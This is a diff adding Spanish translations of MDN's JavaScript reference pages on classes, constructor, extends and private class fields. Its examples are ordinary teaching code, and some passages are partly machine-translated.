+<pre class="brush: js notranslate">class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world';
+  }
+
+  getPrivateMessage() {
+      return #privateMethod();
+  }
+}
+
+const instance = new ClassWithPrivateMethod();
+console.log(instance.getPrivateMessage());
+// expected output: "hello worl​d"</pre>
+
+<p>Private instance methods may be generator, async or async generator functions. Private getters and setters are also possible:</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateAccessor {
+  #message;
+
+  get #decoratedMessage() {
+    return `✨${this.#message}✨`;
+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg;
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world';
+    console.log(this.#decoratedMessage);
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.es/proposal-class-fields/#prod-FieldDefinition">FieldDefinition production</a></td>
+   <td>Stage 3</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<h3 id="Campos_públicos_de_clse">Campos públicos de clse</h3>
+
+
+
+<p>{{Compat("javascript.classes.public_class_fields")}}</p>
+
+<h3 id="Campos_privados_de_clase">Campos privados de clase</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/constructor/index.html b/files/es/web/javascript/referencia/classes/constructor/index.html
new file mode 100644
index 0000000000..71fcb413f1
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/constructor/index.html
@@ -0,0 +1,100 @@
+---
+title: constructor
+slug: Web/JavaScript/Referencia/Classes/constructor
+tags:
+  - Clases
+  - ECMAScript6
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/constructor
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>El método constructor es un metodo especial para crear e inicializar un objeto creado a partir de una clase.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">constructor([argumentos]) { ... }</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Sólo puede haber un método especial con el nombre de "constructor" en una clase. Un error de sintaxis será lanzado, si la clase contiene más de una ocurrencia de un método constructor.</p>
+
+<p>Un constructor puede utilizar la palabra clave super para llamar al constructor de una clase padre.</p>
+
+<p>Si no especifica un método constructor, se utiliza un constructor predeterminado.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_el_método_constructor">Usando el método constructor</h3>
+
+<p>Este fragmento de código se toma de la <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Aquí, llama al constructor de la clase padre con sus longitudes
+    // contemplando la anchura y la altura del Polígono
+    super(length, length);
+    // Nota: En las clases derivadas, super() se debe llamar primero
+    // Se puede utilizar "this". Dejando esto causará un error de
+    //referencia.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Constructores_por_defecto">Constructores por defecto</h3>
+
+<p>Si no especifica un método constructor, se utiliza un constructor predeterminado. Para las clases base, el constructor por defecto es:</p>
+
+<pre class="brush: js">constructor() {}
+</pre>
+
+<p>Para las clases derivadas, el constructor por defecto es:</p>
+
+<pre class="brush: js">constructor(...args) {
+  super(...args);
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("javascript.classes.constructor")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/extends/index.html b/files/es/web/javascript/referencia/classes/extends/index.html
new file mode 100644
index 0000000000..6781c3801e
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/extends/index.html
@@ -0,0 +1,167 @@
+---
+title: extends
+slug: Web/JavaScript/Referencia/Classes/extends
+translation_of: Web/JavaScript/Reference/Classes/extends
+---
+<div>{{jsSidebar("Classes")}}</div>
+
+<p>La palabra clave <strong>extends</strong> es usada en la <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">declaración</a> o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">expresión</a> de clases, para crear una clase hija de otra.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">class ChildClass extends ParentClass { ... }</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La palabra clave <code>extends</code> se puede usar para crear una subclase a partir de clases personalizadas, así como sus objetos incorporados.</p>
+
+<p>La propiedad <code>.prototype</code> de la nueva subclase debe ser un {{jsxref("Object")}} o {{jsxref("null")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Como_usar_extends">Como usar <code>extends</code></h3>
+
+<p>El primer ejemplo crea una clase con el nombre <code>Square</code> a partir de una clase llamada <code>Polygon</code>. Este ejemplo ha sido extraido del siguiente <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(código fuente)</a>.</p>
+
+<pre class="brush: js">class Square extends Polygon {
+  constructor(length) {
+    // Aquí se invoca el constructor de la clase padre con longitud
+    // proporcionada por el ancho y alto de Polygon
+    super(length, length);
+    // Nota: En las clases extendidas, se debe llamar a super()
+    // antes de poder usar 'this'. El no hacerlo provocará un reference error.
+    this.name = 'Square';
+  }
+
+  get area() {
+    return this.height * this.width;
+  }
+
+  set area(value) {
+    this.area = value;
+  }
+}</pre>
+
+<h3 id="Como_usar_extends_con_objetos_incorporados">Como usar <code>extends</code> con objetos incorporados</h3>
+
+<p>Este ejemplo extiende el objeto incorporado {{jsxref("Date")}}. Este ejemplo ha sido extraido del siguiente <a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a> <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">(código fuente)</a>.</p>
+
+<pre class="brush: js">class myDate extends Date {
+  constructor() {
+    super();
+  }
+
+  getFormattedDate() {
+    var months = ['Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec'];
+    return this.getDate() + "-" + months[this.getMonth()] + "-" + this.getFullYear();
+  }
+}</pre>
+
+<h3 id="Extendiendo_de_null">Extendiendo de <code>null</code></h3>
+
+<p>Extender de {{jsxref("null")}} es como hacerlo de una clase normal, excepto que el objeto prototype no hereda de {{jsxref("Object.prototype")}}.</p>
+
+<pre class="brush: js">class nullExtends extends null {
+  constructor() {}
+}
+
+Object.getPrototypeOf(nullExtends); // Function.prototype
+Object.getPrototypeOf(nullExtends.prototype) // null</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-class-definitions', 'extends')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{CompatGeckoDesktop(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+  <tr>
+   <td>Array subclassing</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Clases</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/index.html b/files/es/web/javascript/referencia/classes/index.html
new file mode 100644
index 0000000000..0f108dda68
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/index.html
@@ -0,0 +1,372 @@
+---
+title: Clases
+slug: Web/JavaScript/Referencia/Classes
+tags:
+  - Classes
+  - ECMAScript 2015
+  - Herencia
+  - Intermedio
+  - JavaScript
+  - NeedsContent
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Classes
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<p>Las clases de javascript, introducidas en ECMAScript 2015, son una mejora sintáctica sobre la herencia basada en prototipos de JavaScript. La sintaxis de las clases <strong>no</strong> introduce un nuevo modelo de herencia orientada a objetos en JavaScript. Las clases de JavaScript proveen una sintaxis mucho más clara y simple para crear objetos y lidiar con la herencia.</p>
+
+<h2 id="Definiendo_clases">Definiendo clases</h2>
+
+<p>Las clases son "<a href="/en-US/docs/Web/JavaScript/Reference/Functions">funciones</a> especiales", como las <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">expresiones de funciones</a> y <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">declaraciones de funciones</a>, la sintaxis de una clase tiene dos componentes: <a href="/en-US/docs/Web/JavaScript/Reference/Operators/class">expresiones de clases</a> y <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">declaraciones de clases</a>.</p>
+
+<h3 id="Declaración_de_clases">Declaración de clases</h3>
+
+<p>Una manera de definir una clase es mediante una <strong>declaración de clase</strong><em>. </em>Para declarar una clase, se utiliza la palabra reservada <code>class</code> y un nombre para la clase "Rectangulo".</p>
+
+<pre class="brush: js notranslate">class Rectangulo {
+  constructor(alto, ancho) {
+    this.alto = alto;
+    this.ancho = ancho;
+  }
+}</pre>
+
+<h4 id="Alojamiento">Alojamiento</h4>
+
+<p>Una importante diferencia entre las <strong>declaraciones de funciones</strong><em> y </em>las <strong>declaraciones de clases</strong> es que las <strong>declaraciones de funciones</strong><em> </em>son alojadas y las <strong>declaraciones de clases</strong><em> </em>no lo son. En primer lugar necesitas declarar tu clase y luego acceder a ella, de otro modo el ejemplo de código siguiente arrojará un {{jsxref("ReferenceError")}}:</p>
+
+<pre class="brush: js example-bad notranslate">const p = new Rectangle(); // ReferenceError
+
+class Rectangle {}
+</pre>
+
+<h3 id="Expresiones_de_clases">Expresiones de clases</h3>
+
+<p>Una <strong>expresión de clase</strong> es otra manera de definir una clase. Las expresiones de clase pueden ser nombradas o anónimas. El nombre dado a la <strong>expresión de clase</strong> nombrada es local dentro del cuerpo de la misma.</p>
+
+<pre class="notranslate">// Anonima
+let Rectangulo = class {
+  constructor(alto, ancho) {
+    this.alto = alto;
+    this.ancho = ancho;
+  }
+};
+
+console.log(Rectangulo.name);
+// output: "Rectangulo"
+
+// Nombrada
+let Rectangulo = class Rectangulo2 {
+  constructor(alto, ancho) {
+    this.alto = alto;
+    this.ancho = ancho;
+  }
+};
+console.log(Rectangulo.name);
+// output: "Rectangulo2"
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Las <strong>expresiones</strong> de clase están sujetas a las mismas restricciones de elevación que se describen en la sección {{anch("Class declarations")}}.</p>
+</div>
+
+<h2 id="Cuerpo_de_la_clase_y_definición_de_métodos">Cuerpo de la clase y definición de métodos</h2>
+
+<p>El contenido<em> </em>de una <strong>clase </strong>es la parte que se encuentra entre las llaves <code>{}</code>. Este es el lugar se definen los <strong>miembros de clase,</strong> como los <strong>métodos </strong>o <strong>constructores.</strong></p>
+
+<h3 id="Modo_estricto">Modo estricto</h3>
+
+<p>El cuerpo de las <em>declaraciones de clase</em> y las <em>expresiones de clase</em> son ejecutadas en <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">modo estricto.</a> En otras palabras, el código escrito aquí está sujeto a una sintaxis más estricta para aumentar el rendimiento, se arrojarán algunos errores silenciosos y algunas palabras clave están reservadas para versiones futuras de ECMAScript.</p>
+
+<h3 id="Constructor">Constructor</h3>
+
+<p>El método <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor</a></code> es un método especial para crear e inicializar un objeto creado con una <code>clase</code>. Solo puede haber un método especial con el nombre "constructor" en una clase. Si esta contiene mas de una ocurrencia del método <code><strong>constructor, </strong></code>se arrojará un <em>Error </em>{{jsxref("SyntaxError")}}</p>
+
+<p>Un <strong>constructor</strong> puede usar la <em>palabra reservada</em> <strong><code>super </code></strong>para llamar al <strong>constructor </strong>de una <em>superclase</em></p>
+
+<h3 id="Métodos_prototipo">Métodos prototipo</h3>
+
+<p>Vea también <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">métodos definidos</a>.</p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js">class Rectangulo {
+  constructor (alto, ancho) {
+    this.alto = alto;
+    this.ancho = ancho;
+  }
+  // Getter
+  get area() {
+     return this.calcArea();
+   }
+  // Método
+  calcArea () {
+    return this.alto * this.ancho;
+  }
+}
+
+const cuadrado = new Rectangulo(10, 10);
+
+console.log(cuadrado.area); // 100</code></pre>
+
+<div class="syntaxbox"></div>
+
+<h3 id="Métodos_estáticos">Métodos estáticos</h3>
+
+<p>La <em>palabra clave</em> <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/static">static</a></code> define un método estático para una clase. Los métodos estáticos son llamados sin instanciar su clase y <strong>no</strong> pueden ser llamados mediante una instancia de clase. Los métodos estáticos son a menudo usados para crear funciones de utilidad para una aplicación.</p>
+
+<pre class="brush: js notranslate">class Punto {
+  constructor ( x , y ){
+    this.x = x;
+    this.y = y;
+  }
+
+  static distancia ( a , b) {
+    const dx = a.x - b.x;
+    const dy = a.y - b.y;
+
+    return Math.sqrt ( dx * dx + dy * dy );
+  }
+}
+
+const p1 = new Punto(5, 5);
+const p2 = new Punto(10, 10);
+
+console.log (Punto.distancia(p1, p2)); // 7.0710678118654755</pre>
+
+<h3 id="Boxing_con_prototipos_y_métodos_estáticos">"Boxing" con prototipos y métodos estáticos</h3>
+
+<p>Cuando un método estático o método del prototipo es llamado sin un valor para "this" (o con "this" como booleano, cadena, número, undefined o null), entonces el valor de "this" será <strong>undefined</strong> dentro de la funciona llamada. <em>Autoboxing </em>no ocurrirá. El comportamiento será igual inclusive si se escribe el código en modo no estricto.</p>
+
+<pre class="notranslate"><code>class Animal {
+  hablar() {
+    return this;
+  }
+  static comer() {
+    return this;
+  }
+}
+
+let obj = new Animal();
+obj.hablar(); // Animal {}
+let hablar = obj.hablar;
+hablar(); // undefined
+
+Animal.comer() // class Animal
+let comer = Animal.comer;
+comer(); // undefined</code></pre>
+
+<p>Si se escribe el código del cuadro superior usando clases función tradicionales, entonces autoboxing ocurrirara porque tomará valor de "this" sobre la función que es llamada.</p>
+
+<pre class="notranslate"><code>function Animal() { }
+
+Animal.prototype.hablar = function(){
+  return this;
+}
+
+Animal.comer = function() {
+  return this;
+}
+
+let obj = new Animal();
+let hablar = obj.hablar;
+hablar(); // global object
+
+let hablar = Animal.hablar;
+hablar(); // global object</code></pre>
+
+<h2 id="Subclases_con_extends">Subclases con <code>extends</code></h2>
+
+<p>La palabra clave <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> es usada en <em>declaraciones de clase</em> o <em>expresiones de clase</em> para crear una clase hija.</p>
+
+<pre class="brush: js notranslate"><code>class Animal {
+  constructor(nombre) {
+    this.nombre = nombre;
+  }
+
+  hablar() {
+    console.log(this.nombre + ' hace un ruido.');
+  }
+}
+
+class Perro extends Animal {
+  hablar() {
+    console.log(this.nombre + ' ladra.');
+  }
+}</code></pre>
+
+<p>También se pueden extender las clases tradicionales basadas en funciones:</p>
+
+<pre class="brush: js notranslate">function Animal (nombre) {
+  this.nombre = nombre;
+}
+Animal.prototype.hablar = function () {
+  console.log(this.nombre + 'hace un ruido.');
+}
+
+class Perro extends Animal {
+  hablar() {
+    super.hablar();
+    console.log(this.nombre + ' ladra.');
+  }
+}
+
+var p = new Perro('Mitzie');
+p.hablar();</pre>
+
+<p>Fijarse que las clases no pueden extender objectos regulares (literales). Si se quiere heredar de un objecto regular, se debe user {{jsxref("Object.setPrototypeOf()")}}::</p>
+
+<pre class="notranslate"><code>var Animal = {
+  hablar() {
+    console.log(this.nombre + 'hace ruido.');
+  }
+};
+
+class Perro {
+  constructor(nombre) {
+    this.nombre = nombre;
+  }
+  hablar() {
+    console.log(this.nombre + ' ladra.');
+  }
+}
+
+Object.setPrototypeOf(Perro.prototype, Animal);
+
+var d = new Perro('Mitzie');
+d.hablar();</code></pre>
+
+<h2 id="Especies">Especies</h2>
+
+<p>Quizás se quiera devolver objetos {{jsxref("Array")}} derivados de la clase array MyArray. El patron <em>species</em> permite sobreescribir constructores por defecto.</p>
+
+<p>Por ejemplo, cuando se usan metodos del tipo {{jsxref("Array.map", "map()")}} que devuelven el constructor por defecto, se quiere que esos métodos devuelvan un objeto padre Array, en vez de MyArray. El símbolo {{jsxref("Symbol.species")}} permite hacer:</p>
+
+<pre class="brush: js notranslate"><code>class MyArray extends Array {
+  // Sobre escribe species sobre el constructor padre Array
+  static get [Symbol.species]() { return Array; }
+}
+
+var a = new MyArray(1,2,3);
+var mapped = a.map(x =&gt; x * x);
+
+console.log(mapped instanceof MyArray); // false
+console.log(mapped instanceof Array);   // true</code>
+</pre>
+
+<h2 id="Llamadas_a_súperclases_con_super">Llamadas a súperclases con <code>super</code></h2>
+
+<p>La palabra clave <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a></code> es usada para llamar funciones del objeto padre.</p>
+
+<pre class="notranslate"><code>class Gato {
+  constructor(nombre) {
+    this.nombre = nombre;
+  }
+
+  hablar() {
+    console.log(this.nombre + ' hace ruido.');
+  }
+}
+
+class Leon extends Gato {
+  hablar() {
+    super.hablar();
+    console.log(this.nombre + ' maulla.');
+  }
+}</code></pre>
+
+<h2 id="Mix-ins">Mix-ins</h2>
+
+<p>Subclases abstractas or <em>mix-ins</em> son plantillas de clases. Una clase ECMAScript solo puede tener una clase padre, con lo cual la herencia multiple no es posible. La funcionalidad debe ser proporcionada por la clase padre.</p>
+
+<p>Una función con una clase padre como entrada y una subclase extendiendo la clase padre como salida puede ser usado para implementar mix-ins en EMCAScript:</p>
+
+<pre class="brush: js notranslate"><code>var calculatorMixin = Base =&gt; class extends Base {
+  calc() { }
+};
+
+var randomizerMixin = Base =&gt; class extends Base {
+  randomize() { }
+};</code></pre>
+
+<p>Una clase que use este método puede ser escrita tal que así:</p>
+
+<pre class="brush: js notranslate"><code>class Foo { }
+class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</code></pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>Available in the Nightly channel only (since February 2015)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>Available in the Nightly channel only (since February 2015)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(42.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Funciones">Funciones</a></li>
+ <li>{{jsxref("Statements/class", "class declaration")}}</li>
+ <li>{{jsxref("Operators/class", "class expression")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/private_class_fields/index.html b/files/es/web/javascript/referencia/classes/private_class_fields/index.html
new file mode 100644
index 0000000000..5826cc125b
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/private_class_fields/index.html
@@ -0,0 +1,201 @@
+---
+title: Private class fields
+slug: Web/JavaScript/Referencia/Classes/Private_class_fields
+translation_of: Web/JavaScript/Reference/Classes/Private_class_fields
+---
+<div>
+<p><font><font>Las propiedades de la clase son públicas de forma predeterminada y se pueden examinar o modificar fuera de la clase. </font><font>Sin embargo, existe </font></font><a class="external" href="https://translate.googleusercontent.com/translate_c?depth=1&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=es&amp;u=https://github.com/tc39/proposal-class-fields&amp;usg=ALkJrhgmG5nvuZjYd2YQRSuRJHti_gdXeQ" rel="noopener"><font><font>una propuesta experimental</font></font></a><font><font>  para permitir la definición de campos de clase privados utilizando un </font></font><code>#</code><font><font>prefijo </font><font>hash </font><font>.</font></font></p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithPrivateField {
+  #privateField
+}
+
+class ClassWithPrivateMethod {
+  #privateMethod() {
+    return 'hello world'
+ }
+}
+
+class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+}
+</pre>
+
+<h3 id="Campos_estáticos_privados"><font><font>Campos estáticos privados </font></font></h3>
+
+<p><font><font>Los campos privados son accesibles en el constructor de clases desde dentro de la propia declaración de clases.</font></font></p>
+
+<p><font><font>La limitación de las variables estáticas que se llaman solo por métodos estáticos aún se mantiene</font></font></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD
+  }
+}
+
+console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre>
+
+<p><font><font>Los campos estáticos privados se agregan al constructor de la clase en el momento de la evaluación de la clase.</font></font></p>
+
+<p><font><font>Existe una restricción de procedencia en los campos estáticos privados. </font><font>Solo la clase que define el campo estático privado puede acceder al campo.</font></font></p>
+
+<p><font><font>Esto puede conducir a un comportamiento inesperado al usar </font></font><strong><code>this</code></strong><font><font>.</font></font></p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42
+    return this.#PRIVATE_STATIC_FIELD
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+let error = null
+
+try {
+  SubClass.basePublicStaticMethod()
+} catch(e) { error = e}
+
+console.assert(error instanceof TypeError)
+</pre>
+
+<h3 id="Campos_de_instancia_privados"><font><font>Campos de instancia privados</font></font></h3>
+
+<p><font><font>Los campos de instancia privados se declaran con </font></font><strong><font><font># nombres </font></font></strong><font><font> (pronunciados " </font></font><em><font><font>nombres hash</font></font></em><font><font> "), que son identificadores con el prefijo </font></font><code>#</code><font><font>. </font><font>El </font></font><code>#</code><font><font>es una parte del nombre propio. </font><font>También se utiliza para la declaración y el acceso.</font></font></p>
+
+<p><font><font>La encapsulación es impuesta por el lenguaje. </font><font>Es un error de sintaxis referirse a </font></font><code>#</code><font><font>nombres que están fuera del alcance.</font></font></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField
+
+  constructor() {
+    this.#privateField = 42
+    this.#randomField = 666 // Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField()
+instance.#privateField === 42 // Syntax error
+</pre>
+
+<h3 id="Métodos_privados"><font><font>Métodos privados</font></font></h3>
+
+<h4 id="Métodos_estáticos_privados"><font><font>Métodos estáticos privados</font></font></h4>
+
+<p><font><font>Al igual que su equivalente público, los métodos estáticos privados se invocan en la propia clase, no en instancias de la clase. </font><font>Al igual que los campos estáticos privados, solo se puede acceder a ellos desde dentro de la declaración de clase.</font></font></p>
+
+<p><font><font>Los métodos estáticos privados pueden ser funciones generadoras, asíncronas y asíncronas.</font></font></p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42
+    }
+
+    static publicStaticMethod1() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42);
+console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42);
+</pre>
+
+<p><font><font>Esto puede conducir a un comportamiento inesperado al usar </font></font><strong><code>this</code></strong><font><font>. </font><font>En el siguiente ejemplo se </font></font><code>this</code><font><font>hace referencia a la </font></font><code>Derived</code><font><font>clase (no a la </font></font><code>Base</code><font><font>clase) cuando intentamos llamar </font></font><code>Derived.publicStaticMethod2()</code><font><font>, y por lo tanto exhibe la misma "restricción de procedencia" que se mencionó anteriormente:</font></font></p>
+
+<pre class="brush: js notranslate">class Base {
+    static #privateStaticMethod() {
+        return 42;
+    }
+    static publicStaticMethod1() {
+        return Base.#privateStaticMethod();
+    }
+    static publicStaticMethod2() {
+        return this.#privateStaticMethod();
+    }
+}
+
+class Derived extends Base {}
+
+console.log(Derived.publicStaticMethod1()); // 42
+console.log(Derived.publicStaticMethod2()); // TypeError
+</pre>
+
+<h4 id="Métodos_de_instancia_privada"><font><font>Métodos de instancia privada</font></font></h4>
+
